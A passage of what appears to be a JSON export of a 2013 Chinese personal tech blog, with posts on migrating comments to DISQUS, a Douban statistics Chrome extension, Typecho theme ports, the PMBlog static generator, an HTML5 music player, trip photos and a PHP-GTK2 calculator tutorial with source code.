由于之前Jclyn强烈要求使用DISQUS社会化评论，我这里就讲一下如何将评论导入到DISQUS中。\n其实WP是有DISQUS的插件自带导入功能的，而且会非常温馨的帮你自动创建好项目。不过我还是比较推荐自己手动导入。\n首先你需要一个DISQUS账号同时还需要一个DISQUS项目，至于如何申请，我这里找到一篇教程，可能比较老，但摸索一下还是可以的：http://www.yiduqiang.com/the-disqus-excellent-world-class-third-party-commenting-system-using-the-tutorial.html\n项目创建成功之后，选择Discussions -\u0026gt; Import。在Upload WXR中选中你的WXR文件并点击Upload and import按钮。稍等片刻（这个片刻也可能是很久，总之按照官方说法，24小时之内帮你转好~）你就会发现评论已经全部导入进去了。\n评论导入进去之后还没用，需要将评论对应的文章网址修改为更换后的网址。在项目中选择Discussions -\u0026gt; Tool可以看到有三个选项，分别是Domain Migration Wizard（域名变更迁移向导）, Upload a URL map（上传一份URL地图）, Redirect Crawler（重定向）。其中重定向这个应该是最简便的方法，不过难度系数比较高，我就讲讲前两个吧。\n如果你的博客连域名都跟换了的话，那么你就需要使用第一个“域名变更迁移”了。比如你之前的地址是http://blog.imnerd.org，现在换成了http://imnerd.org。那么你需要点击Start domain migration wizard -\u0026gt; Next Step -\u0026gt; 输入http://imnerd.org -\u0026gt; Next Step -\u0026gt; Confirm Migration这样你的评论的域名就会转过来了。\n当然这样做对于PMBlog来说还是不够的，因为URL格式也发生了更改。所以你需要用第二个“上传URL地图”选项。点击Start URL mapper后在英文中有一个you can download a CSV here的链接，点击后会往邮箱发一封邮件，点击邮件中的地址下载带有评论的原网址的CSV文件。\n使用everedit, notepad++, editplus等编辑器打开后，Ctrl+H开始进行替换，如图所示。\n这样就将文件修改成了老地址, 新地址的格式，对于其中的一些页面网址，需要手动的替换post为page。\n保存之后在刚才的上传页面上传修改好的文件。选择Next Step -\u0026gt; Submit Migration稍等片刻即可完成最终迁移。\np.s:对于需要修改域名的同学，需要经过上面两个步骤才行，因为默认URL Map那个好像只能更改域名后的格式，而不是别更改域名。而对于不需要修改域名的同学，则只要做Url Map那个就好了。\n总结 经过上述复杂的步骤之后，终于成功将Typecho转换为PMBlog了。如果是WordPress转换过来的话则直接跳过第一步就好了。\n以上\n本文相关文件下载地址：PMBlog | Typecho2WordPress | EverEdit\n","count":1958,"date":"2013年08月04日","featuredImage":null,"permalink":"https://imnerd.org/change-blog-programmer.html","summary":"\u003cp\u003e鉴于\u003ccode\u003etypecho\u003c/code\u003e的垃圾评论实在是太多了，在屡禁不止的情况下，我蛋疼的选择了更换程序。更换的是我之前写的\u003ccode\u003ePMBlog\u003c/code\u003e,具体可以看看\u003ca href=\"http://gitcafe.com/lizheming/PMBlog\"\u003ehttp://gitcafe.com/lizheming/PMBlog\u003c/a\u003e。程序本身是非常好转换的，下面我将讲述一下如何转换日志和评论。\u003c/p\u003e\n\u003cp\u003e由于我之前帮\u003ca href=\"http://phenoland.com\"\u003eJclyn\u003c/a\u003e从\u003ccode\u003eWordPress\u003c/code\u003e转换为\u003ccode\u003ePMBlog\u003c/code\u003e，而\u003ccode\u003etypecho\u003c/code\u003e转\u003ccode\u003eWordPress\u003c/code\u003e也是有现成的工具的。所以我采用了\u003ccode\u003etypecho -\u0026gt; WordPress -\u0026gt; PMBlog\u003c/code\u003e的曲折路线。\u003c/p\u003e","time":4,"title":"更换博客程序"},{"comments":{"data":[29],"errmsg":"","errno":0},"contents":"\r很久很久很久以前，当豆瓣的API还处于半正常状态的时候，写过一个豆影统计的网站。当然，这已经是很久以前的事情了，随着豆瓣接口的各种抽风，网站已然是不能正常工作了。这让我萌发了写插件的欲望。（魂淡！不要拦着我写插件啊啊啊啊！）\n花了大概一天的时间写了个初版出来（博主的智商就这么样了，你们爱吐槽不吐槽吧o(╯□╰)o），下载地址见文末。本来是想要发布到Chrome Store去的，不过好像初次认证开发者要上交5刀？乃们知道博主是很穷的，所以，乃懂的~不负众望，博主花费巨资（其实也就50块）终于认证成功发布到商店啦！哈哈！\n如何使用 打开\u0026quot;http://movie.douban.com/people/用户名/collect\u0026quot;页面，如果正常的话你会在排序菜单中发现一个“电影统计”的选项。（眼睛不好的就直接看附图吧，我用红框标明位置了。）\n很难找吧，嘿嘿\u0026hellip;我是不会跟你们说我是故意的←_←（还没找到的请检查一下网址！）\n好啦，点击电影统计，选择年份后，稍等片刻就会出结果啦，可能点击后会有卡顿现象，属于正常情况，大家切记耐心等待。\n最后 这是本人第一次写Chrome插件，也是第一次写浏览器的插件，所以不足的地方在所难免，还希望大家多提意见，我会努力改进的，谢谢！\n我将插件开源放在 Github 了，有兴趣的可以去观摩一二：https://github.com/lizheming/dbm\n更新\r插件更新至1.8版，主要做了以下几个更改：\r新增：添加豆瓣音乐统计 修改：输出图片URL改为豆瓣网站URL 修改：更改输出HTML样式 插件更新至1.7版，主要做了以下几个更改：\n更换新的图床并修复读书统计封面链接问题 插件更新至1.5版，主要做了以下几个更改：\n增加阅读统计功能并重命名插件名称为“豆瓣统计” 更新图标库增加图表图片输出功能 优化导出图片墙功能 重构代码数据加载更快 移除导出文件功能 插件更新至1.4版，主要做了一下几个更改：\n增加缓存功能，某用户电影数为更新的情况下第二次之后会直接调用缓存数据即时加载 增加海报墙输出功能，待所有电影海报加载完成之后点击“生成海报墙”按钮即可生成海报墙 自动根据当前年份生成选项，更新了图表库文件以及其它一些小BUG的修复 插件更新至1.2版，增加了将统计结果导出成网页文件的功能。\n插件更新至1.1版，修改加载数据为异步形式，更正了之前加载数据页面会卡死的问题。同时由于豆瓣电影的海报设置了防盗链，修改了海报的地址。数据加载时给出进度提示，方便用户查看进度。\n安装 Chrome商店地址：豆瓣电影统计插件\ncrx文件下载地址：BOX | 百度\n点击上方的地址下载安装包。下载完成以后，可能会提示安装失败，不过没关系，我们只是要这个下载的文件。 打开chrome的插件页（UC需要进入插件中心以后，再点击右下角的开发者模式） 把安装包拖到插件页 完成。这里安装的插件是官方插件，会自动更新到最新版 ","count":1198,"date":"2013年07月28日","featuredImage":null,"permalink":"https://imnerd.org/douban-movie-track-for-chrome.html","summary":"\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1773374396\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e很久很久很久以前，当豆瓣的API还处于半正常状态的时候，写过一个豆影统计的\u003ca href=\"https://imnerd.org/lab/douban/\"\u003e网站\u003c/a\u003e。当然，这已经是很久以前的事情了，随着豆瓣接口的各种抽风，网站已然是不能正常工作了。这让我萌发了写插件的欲望。（魂淡！不要拦着我写插件啊啊啊啊！）\u003c/p\u003e\n\u003cp\u003e花了大概一天的时间写了个初版出来（博主的智商就这么样了，你们爱吐槽不吐槽吧o(╯□╰)o），下载地址见文末。本来是想要发布到Chrome Store去的，不过好像初次认证开发者要上交5刀？\u003cdel\u003e乃们知道博主是很穷的，所以，乃懂的~\u003c/del\u003e不负众望，博主花费巨资（其实也就50块）终于认证成功发布到商店啦！哈哈！\u003c/p\u003e","time":3,"title":"豆瓣电影统计插件For Chrome"},{"comments":{"data":[7],"errmsg":"","errno":0},"contents":" 前言 前些日子去四川实习了小半个月，领略了一下西南大四川风情，果真是别有味道，非一语能言之。废话不多说，照片走起。\n山 水 店 路 那景 路边发现的，之前以为是值钱的景天，结果发现原来只是不值钱的瓦松T_T_\n_\n_\n同路边发现具体刻了什么大家自己看吧，总之是槽点满满的啊←←\n无意之中进了一个金矿，这是矿区里头的小藏獒\n大四川的精髓，四川麻将，血战到底！\n叶子好像蝴蝶的说，拍了一张之后立马就夹书里头了0.0\n看到那坑了没..地震的时候山顶上滚下来的这巨货搞得！\n有木有觉得那片云朵跟❤很像？\n取样之敲断的钢钎，后来又敲弯了一根LOL\n迷路的羊咩咩~\n","count":259,"date":"2013年05月30日","featuredImage":null,"permalink":"https://imnerd.org/sichuan-something.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#10099\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e前些日子去四川实习了小半个月，领略了一下西南大四川风情，果真是别有味道，非一语能言之。废话不多说，照片走起。\u003c/p\u003e\n\u003ch2 id=\"山\"\u003e山\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/mountain/IMG_1136.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/mountain/IMG_1184.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/mountain/IMG_1308.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003ch2 id=\"水\"\u003e水\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_0843.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1001.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1089.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1105.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1166.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1168.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1194.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1242.JPG\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://album.imnerd.org/content/shixi/scsx/river/IMG_1302.JPG\" alt=\"\"\u003e\u003c/p\u003e","time":1,"title":"四川那些事"},{"comments":{"data":[38],"errmsg":"","errno":0},"contents":"\r之前发布过一款移植主题TwentyTwelve，挺受大家喜欢的。@想往同学求助希望能制作Publish的Typecho版，所以有了此文。\n很久不接触WordPress后发现快连WordPress的主题都看不懂了，各种神奇而又复杂的函数让人看的晕乎乎的。查询函数功能费了好些时间，好在最后是凑合着弄出来了。吐槽一句，能够提交到官方库里头的主题果然都是神一般的主题。\n目前已经更新至1.3版，修复了评论框无法记录账号，作者登录判断登录等问题\n目前已经更新至1.2版，修复了评论回复点击回复需要重新载入页面的问题，如果使用此版还会出现重新载入现象的同学可以考虑在之前加入\u0026lt;script type=\u0026ldquo;text/javascript\u0026rdquo; src=\u0026ldquo;https://imnerd.org/usr/themes/twentytwelve/js/comment.js\u0026quot;\u0026gt;\n下载地址：1.3版Skydrive下载地址 1.3版微盘下载地址 | 1.2版下载地址 | 1.1版下载地址 | 1.0版下载地址\n","count":349,"date":"2013年04月28日","featuredImage":null,"permalink":"https://imnerd.org/publish-for-typecho.html","summary":"\u003c!-- \r\n\u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769971297\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 src=\"//music.163.com/outchain/player?type=2\u0026id=1334051374\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e之前发布过一款移植主题\u003ca href=\"https://imnerd.org/twentytwelve-for-typecho.html\"\u003eTwentyTwelve\u003c/a\u003e，挺受大家喜欢的。\u003ca href=\"https://imnerd.org/twentytwelve-for-typecho.html#comment-comment-61810\"\u003e@想往\u003c/a\u003e同学求助希望能制作\u003ca href=\"http://wordpress.org/extend/themes/publish\"\u003ePublish\u003c/a\u003e的Typecho版，所以有了此文。\u003c/p\u003e\r\n\u003c!-- m o r e --\u003e\r\n\u003cp\u003e很久不接触WordPress后发现快连WordPress的主题都看不懂了，各种神奇而又复杂的函数让人看的晕乎乎的。查询函数功能费了好些时间，好在最后是凑合着弄出来了。吐槽一句，能够提交到官方库里头的主题果然都是神一般的主题。\u003c/p\u003e","time":1,"title":"移植主题Publish(更新至1.3版)"},{"comments":{"data":[37],"errmsg":"","errno":0},"contents":"\r之前帮Jclyn修改个主题，呐，这个暂且不提。反正因为这个我装了下WordPress，解压出来14M让我稍微汗颜了一下，呐，这个也暂且不提。总之就是装了WordPress之后发现新版自带的默认主题好好看哇！然后我就当机立断毫不犹豫地准备抄袭移植到Typecho上来了。\n在跟各种神奇的DOM大干一场之后，抄袭移植就基本完成了。话说这回CSS什么的是赤果果的拷贝引用原主题的呢，所以原主题的响应式设计也非常完备的给继承了下来，不过总共35KB的CSS文件，让人不禁捏把汗啊，果然WordPress有着整体变大的趋势。至于别的什么特性我也不大清楚啦，有就有啦，木有的话大家就凑合着用吧[揉脸]。\n页面预览：\n目前已经更新至1.1版，修复了IE8以下被识别成小屏幕分辨率样式的问题。\n目前已经更新至1.2版，修复了评论回复点击回复需要重新载入页面的问题，如果使用此版还会出现重新载入现象的同学可以考虑在\u0026lt;/body\u0026gt;之前加入\u0026lt;script type=\u0026ldquo;text/javascript\u0026rdquo; src=\u0026ldquo;https://imnerd.org/usr/themes/twentytwelve/js/comment.js\u0026quot;\u0026amp;gt;\u0026amp;lt;/script\u0026gt;\n下载地址：1.2版下载地址 | 1.1版下载地址 | 1.0版下载地址\n","count":454,"date":"2013年02月21日","featuredImage":null,"permalink":"https://imnerd.org/twentytwelve-for-typecho.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769090189\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 src=\"//music.163.com/outchain/player?type=2\u0026id=26124548\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e之前帮\u003ca href=\"http://phenoland.com\" title=\"\"\u003eJclyn\u003c/a\u003e修改个主题，呐，这个暂且不提。反正因为这个我装了下WordPress，解压出来14M让我稍微汗颜了一下，呐，这个也暂且不提。总之就是装了WordPress之后发现新版自带的默认主题好好看哇！然后我就当机立断毫不犹豫地准备\u003cdel\u003e抄袭\u003c/del\u003e移植到Typecho上来了。\u003c/p\u003e\n\u003cp\u003e在跟各种神奇的DOM大干一场之后，\u003cdel\u003e抄袭\u003c/del\u003e移植就基本完成了。话说这回CSS什么的是赤果果的\u003cdel\u003e拷贝\u003c/del\u003e引用原主题的呢，所以原主题的响应式设计也非常完备的给继承了下来，不过总共35KB的CSS文件，让人不禁捏把汗啊，果然WordPress有着整体变大的趋势。至于别的什么特性我也不大清楚啦，有就有啦，木有的话大家就凑合着用吧[揉脸]。\u003c/p\u003e","time":1,"title":"移植主题TwentyTwelve"},{"comments":{"data":[19],"errmsg":"","errno":0},"contents":"\rPMBlog是我最近写个一个markdown静态化输出的小程序。目前能够实现发布文章和页面，自定义模板等基本功能。虽然PHP干这活可能亚历山大，不过PHP搭配起来简单而且做中小型博客的话应该是没有问题的。\n目前更新到4.0版，采用权限的模板引擎Twig，并更换仓库到Github上，欢迎大家继续使用。\n官方站点：http://lizheming.github.io/PMBlog\n项目地址：http://github.com/lizheming/PMBlog\n官方站点：http://lizheming.gitcafe.com\n项目地址：HTTPS://GitCafe.com/lizheming/PMBlog\n安装方法\r搭配本地PHP环境\n下载代码并修改config.php\n访问index.php即会在html目录生成静态文件\nMarkdown文件书写规则\r默认文件名是输出的静态页面的文件名，即'hello-world.md'将会生成'hello-world.html'。另外不推荐使用中文名作为文件名。\nmarkdown(以下简称md）文件支持一些自定义字段。\n文件开头输入\"title: Hello World\"即可自定义文章标题为\"Hello World\"（必写字段）\n\"date: 2013年2月11日\"即可自定义文章发布时间，如果不定义此字段程序会返回文件的创建时间为文章发布时间（可选字段）\n\"type: page\"即可自定义本篇文章为页面，此字段只接受page/post两个参数，不定义此字段默认返回为post（可选字段）\n\"status: draft\"即可自定义本篇文章为草稿，定义为草稿的文章将不被程序输出。此字段只接受draft一个参数，非该参数无效。不定义此字段则默认该文章为发布状态（可选字段）\n\"tags: tag1, tag2\"即可自定义该文章的关键词，各个关键词之间使用半角逗号分开（可选字段）\n也就是说目前最简单的写法就是只要定义一个\"title:\"字段然后开始正文就好了。\n","count":800,"date":"2013年02月15日","featuredImage":null,"permalink":"https://imnerd.org/pmblog.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1191413\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1768962976\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003ePMBlog是我最近写个一个markdown静态化输出的小程序。目前能够实现发布文章和页面，自定义模板等基本功能。虽然PHP干这活可能亚历山大，不过PHP搭配起来简单而且做中小型博客的话应该是没有问题的。\u003c/p\u003e","time":2,"title":"PMBlog"},{"comments":{"data":[7],"errmsg":"","errno":0},"contents":"\r前两天写了篇Audio标签的文章，想要更深入学习一下，遂决定写一个网页版音乐播放器试试（其实有更深部的动机的，不过我不告诉你们，哼哼！）。在整个网页的编写过程中，我学习到了很多的东西，感觉对jQuery又有了更新的认识。同时新接触了jQuery UI这个非常可靠的工具。不过说到底也还是新手，代码写的很脏，也没想到重构什么的，功能实现出来就好了，至于美观什么的，哈哈，你是在开玩笑么！\n放上本篇文章主角：红心电台 - https://imnerd.org/lab/player 简单介绍：红心电台是一个利用HTML5制作的能够存储播放列表的在线音乐播放器。是的，没错，虽然是叫做红心电台，但是基本上也就只是一个能存播放列表的播放器而已。另外，本网页是用HTML5写的，然后由于播放的音乐基本是MP3格式的，所以只支持Webkit系的浏览器（Chrome为首）和IE9+以上的浏览器，对Firefox和Opera的用户感到抱歉了，OGG的音乐库毕竟还是挺小众的。具体浏览器支持可以看红心电台的HELP。\n使用说明：\r1、左上角有搜索框，用户可自行添加歌曲到播放列表中。\r2、默认播放列表的歌曲在用户添加过歌曲后会自行清除（需要刷新页面），用户不必手动清除。\r3、默认支持快捷键，左右方向键为上一首下一首，空格键为暂停，Delete键为删除当前播放曲目。\r如果对红心电台有什么意见或者是建议，又或者是发现了什么问题，可以随时与我联系（联系方式见关于页面），当然你也可以在本文留言，我都是可以看的到的。\n","count":610,"date":"2013年02月07日","featuredImage":null,"permalink":"https://imnerd.org/red-heart-fm.html","summary":"\u003c!-- \r\n\u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1771463708\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 src=\"//music.163.com/outchain/player?type=2\u0026id=1455532746\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e 前两天写了篇\u003ca href=\"https://imnerd.org/player-lyric-by-audio.html\" target=\"初探\u003caudio\u003e标签实现同步显示歌词\"\u003eAudio标签\u003c/a\u003e的文章，想要更深入学习一下，遂决定写一个网页版音乐播放器试试（其实有更深部的动机的，不过我不告诉你们，哼哼！）。在整个网页的编写过程中，我学习到了很多的东西，感觉对jQuery又有了更新的认识。同时新接触了jQuery UI这个非常可靠的工具。不过说到底也还是新手，代码写的很脏，也没想到重构什么的，功能实现出来就好了，至于美观什么的，哈哈，你是在开玩笑么！\u003c/p\u003e","time":2,"title":"红心电台"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"写多了网页程序，是会对桌面程序抱有很深的怨念的。也不记得是哪天无意间搜到了PHP-GTK这种逆天的东西了，初看感觉道路一片光明（往后看你就会明白我为什么这么说了）。遂对它有了深深的执念。\n下载了这货的二进制包，结果还搜了半天的教程才会使用它。而且官方手册没有中文包（虽然放了中文包的下载地址，不过居然404！满满的都是坑啊！），为此我还下了一番决定准备翻译官方文档呢。当然，目前为止我只是翻译了教程部分，关键的手册部分都木有开始就决定把这个计划腰斩了啊！如果有需要的同学可以点击这里：PHP-GTK 2教程。通篇教程是用MardownPad编写并输出的。你们不要问我为什么好好的分页教程被我活生生的整合到一个页面去了还不给打标签，我就是喜欢，你们能怎么样~恩哼！\n简单说说PHP-GTK2这货怎么使用吧，其实没有官方手册讲的那么痛苦。首先去官方下载页面下载程序，你会发现很多各式各样英文名字很牛逼但是你完全不懂是什么的包，然后你最好遵从博主的建议去下载php-gtk-2.0.1 Windows binary pack这个文件。好了博主已经很好心的把你要下载的链接贴上来了，大家就快感恩戴德的去下载吧。下载好了之后把它解压到一个文件夹，比如就是php-gtk2这个文件夹好了。程序默认带了几个Demos，放置在demos文件夹下。打开CMD窗口进入到php-gtk2这个文件夹，运行php demos/phpgtk2-demo.php。然后很神奇的事情就发生了，哈哈！所以使用方法就是CMD到php-gtk2这个文件夹下然后带上你要运行的文件就好了。据说把文件夹加到环境变量中后不用cd到文件夹下也行，这个我没有多做测试，大家有兴趣可以测试一下。\n大家可能要问我怎么将PHP程序打包成EXE程序了。目前我测试过许多方法，都不尽人意。表现最好的只有PriadoBlender这货了。什么？PriadoBlender这货是什么？对不起，虽然我很想贴一些简介来介绍一下它的，不过一个官网都死掉了的软件你想要官方简介？想多了吧亲！好吧，以上是调侃一下PHP-GTK2的穷途末路的，大家不要当真。PriadoBlender就是我说的打包程序了，它自己本身也是用PHP-GTK制作的。介于官网已死（有事烧纸都没用了！），博主我再次很好心的把它上传到了BOX上以供大家下载。新建工程输入工程名称、工程文件、工程输入文件夹、使用的PHP-GTK2版本，使用的PHP版本，点击编译稍等片刻就可以在输出文件夹发现一大片文件出现了，你的程序就编译成功了的说。顺带说一句，这货对中文的支持不是很好，工程名文件名文件夹名最好不要带中文，不要怪我没有提醒大家哦！\n讲了如何使用如何打包，下面就要说说如何编写这个比较重要的问题了。不过这个问题其实我也是讲不了多少的，因为我本身也是在手册中学习的啊。所以还是比较推荐大家老老实实的把手册看一遍，这比什么都强啊。附上我今天花了一天的时间写的计算器代码，希望能帮助大家的学习。不要问我为什么一个简单的计算器还要写一点！木有办法，博主的智商博主自己也感到十分捉急啊！\n\u0026lt;?php /* //检查是否包含gtk，试试就可以了这部分代码其实可以删掉的 if (!class_exists(\u0026#39;gtk\u0026#39;)) { die(\u0026#34;Please load the php-gtk2 module in your php.ini\\r\\n\u0026#34;); } */ $wnd = new GtkWindow(); $wnd -\u0026gt; set_title(\u0026#39;计算器\u0026#39;); //设置窗体的标题 $wnd -\u0026gt; set_default_size(228,322); //设置窗体的默认大小 $wnd-\u0026gt;connect_simple(\u0026#39;destroy\u0026#39;, array(\u0026#39;gtk\u0026#39;, \u0026#39;main_quit\u0026#39;)); //当关闭窗体的时候结束主程序 //看教程你就会知道为什么会有上面这句代码的存在 //制造控件 //把所有需要的空间制造出来 //暂时需要一个Label控件显示数字，0-9，小数点，加号，减号，等于号，清除键这几个按键 $CLabel = new GtkLabel(\u0026#39;0\u0026#39;); $CButton = array(); for($i=0;$i\u0026lt;10;$i++) $CButton[] = new GtkButton($i); $CButton[\u0026#39;plus\u0026#39;] = new GtkButton(\u0026#39;+\u0026#39;); $CButton[\u0026#39;minus\u0026#39;] = new GtkButton(\u0026#39;-\u0026#39;); $CButton[\u0026#39;equal\u0026#39;] = new GtkButton(\u0026#39;=\u0026#39;); $CButton[\u0026#39;point\u0026#39;] = new GtkButton(\u0026#39;.\u0026#39;); $CButton[\u0026#39;clean\u0026#39;] = new GtkButton(\u0026#39;C\u0026#39;); //控件布局 //$wnd最后只能添加一个控件，所以我们必须先用一个大容器把所有的小控件包进来，目前大容器是$table //table的五个参数：控件，左边距，右边距，上边距，下边距 $CLabel -\u0026gt; set_justify(Gtk::JUSTIFY_RIGHT); //居右，但是好像这句不来事。 $table = new GtkTable(5,4); $table-\u0026gt;attach($CLabel, 0, 4, 0, 1); for($i=1;$i\u0026lt;10;$i++) { $quotient = floor($i/3); $rest = $i % 3; if($rest == 0) { $rest = 3; $quotient--; } $top = 3 - $quotient; $bottom = $top+1; $right = $rest; $left = $right-1; $table-\u0026gt;attach($CButton[$i], $left, $right, $top, $bottom); } $table-\u0026gt;attach($CButton[0], 0, 2, 4, 5); $table-\u0026gt;attach($CButton[\u0026#39;point\u0026#39;], 2, 3, 4, 5); $table-\u0026gt;attach($CButton[\u0026#39;plus\u0026#39;], 3, 4, 2, 3); $table-\u0026gt;attach($CButton[\u0026#39;minus\u0026#39;], 3, 4, 3, 4); $table-\u0026gt;attach($CButton[\u0026#39;equal\u0026#39;], 3, 4, 4, 5); $table-\u0026gt;attach($CButton[\u0026#39;clean\u0026#39;], 3, 4, 1, 2); //添加控件信号绑定 //信号以为当做一个动作的时候产生的信号，下面的简单解释就是当点击按钮出发相应的函数 //GtkButton::connect_simple的参数：信号（例如点击），触发函数， 传递参数1， 传递参数2... foreach($CButton as $name =\u0026gt; $button) { switch($name) { case \u0026#39;plus\u0026#39;: $button-\u0026gt;connect_simple(\u0026#39;clicked\u0026#39;, \u0026#39;Plus\u0026#39;, $CLabel); break; case \u0026#39;minus\u0026#39;: $button-\u0026gt;connect_simple(\u0026#39;clicked\u0026#39;, \u0026#39;Minus\u0026#39;, $CLabel); break; case \u0026#39;equal\u0026#39;: $button-\u0026gt;connect_simple(\u0026#39;clicked\u0026#39;, \u0026#39;Equal\u0026#39;, $CLabel); break; case \u0026#39;clean\u0026#39;: $button-\u0026gt;connect_simple(\u0026#39;clicked\u0026#39;, \u0026#39;Clean\u0026#39;, $CLabel); break; default: $button-\u0026gt;connect_simple(\u0026#39;clicked\u0026#39;, \u0026#39;Cal\u0026#39;, $button, $CLabel); break; } } //定义了三个全局变量，$number是用来存储输入的数字的，$method是用来存储运算法则的，$status用来存储输入状态的 //$method是当点击加减等于等功能键的时候进行赋值或者清空 //$status默认是为真的，也及时在输入状态，一当点击功能键则返回假，即非输入状态。存在这两种状态是为了区别没有点击功能键的时候输入数字是添加在末尾的，点击功能键之后输入数字是要清空标签控件然后添加的。 $number = 0; $method = \u0026#39;\u0026#39;; $status = true; function Cal(GtkButton $button, GtkLabel $CLabel) { global $status; $Text = $button-\u0026gt;get_label(); $BeforeText = $CLabel-\u0026gt;get_text();\tif($status \u0026amp;\u0026amp; $BeforeText != \u0026#39;0\u0026#39;)\t{ $Text = $BeforeText.$Text; } else { $status = true; } $CLabel-\u0026gt;set_text($Text); } function Calculate(GtkLabel $CLabel) { global $number, $method; $num = $CLabel-\u0026gt;get_label(); switch($method) { case \u0026#39;+\u0026#39;:\t$number += $num; break; case \u0026#39;-\u0026#39;:\t$number -= $num; break; default: break;\t} } function Plus(GtkLabel $CLabel) { global $number, $method, $status; if($method != \u0026#39;\u0026#39; \u0026amp;\u0026amp; $status) { Calculate($CLabel); } else { $number = $CLabel-\u0026gt;get_label(); } $method = \u0026#39;+\u0026#39;; $status = false; $CLabel-\u0026gt;set_label($number); } function Minus(GtkLabel $CLabel) { global $number, $method, $status; if($method != \u0026#39;\u0026#39; \u0026amp;\u0026amp; $status) { Calculate($CLabel); } else { $number = $CLabel-\u0026gt;get_label(); } $method = \u0026#39;-\u0026#39;; $status = false; $CLabel-\u0026gt;set_label($number); } function Equal(GtkLabel $CLabel) { global $number, $method, $status; Calculate($CLabel); $method = \u0026#39;\u0026#39;; $status = false; $CLabel-\u0026gt;set_label($number); } function Clean(GtkLabel $CLabel) { global $number, $method, $status; $number = 0; $method = \u0026#39;\u0026#39;; $status = true; $CLabel-\u0026gt;set_label($number); } //窗体添加控件 $wnd-\u0026gt;add($table); $wnd-\u0026gt;show_all(); //显示所有控件 Gtk::main(); //进入主程序循环 ?\u0026gt; 程序的主要思路我也已经比较详细的注释在代码中了，有不懂的也可以在评论中提出。这里附上我打包好的计算器程序给大家提供参考学习，同样还是放在BOX的。不过打包好的程序文件夹大小居然有18M，压缩了也有6M这是直接打击我学习下去的想法啊。而且好像网上吐槽PHP-GTK的人还是比较多的，大部分的孩子都是说“这是PHP年轻时候干的傻事”，“这货一时爽，长期死全家”之类的。而且PHP说到底只是一单线程语言，对内存的控制也不是很好，想要用来写桌面程序真的是有点力不从心的。介于最近又在看Python，PHP-GTK又万年太监，官方文档也不清楚（基本的函数的参数解释都不全），最终决定还是放弃PHP-GTK的研究。最后感谢Jclyn同学的片头歌曲推荐。以上。\n本文相关文件下载地址：PHP-GTK 2 | PHP-GTK2中文教程 | PriadoBlender | 自制简易计算器\n","count":2604,"date":"2013年01月31日","featuredImage":null,"permalink":"https://imnerd.org/php-gtk2.html","summary":"\u003cp\u003e写多了网页程序，是会对桌面程序抱有很深的怨念的。也不记得是哪天无意间搜到了\u003ca 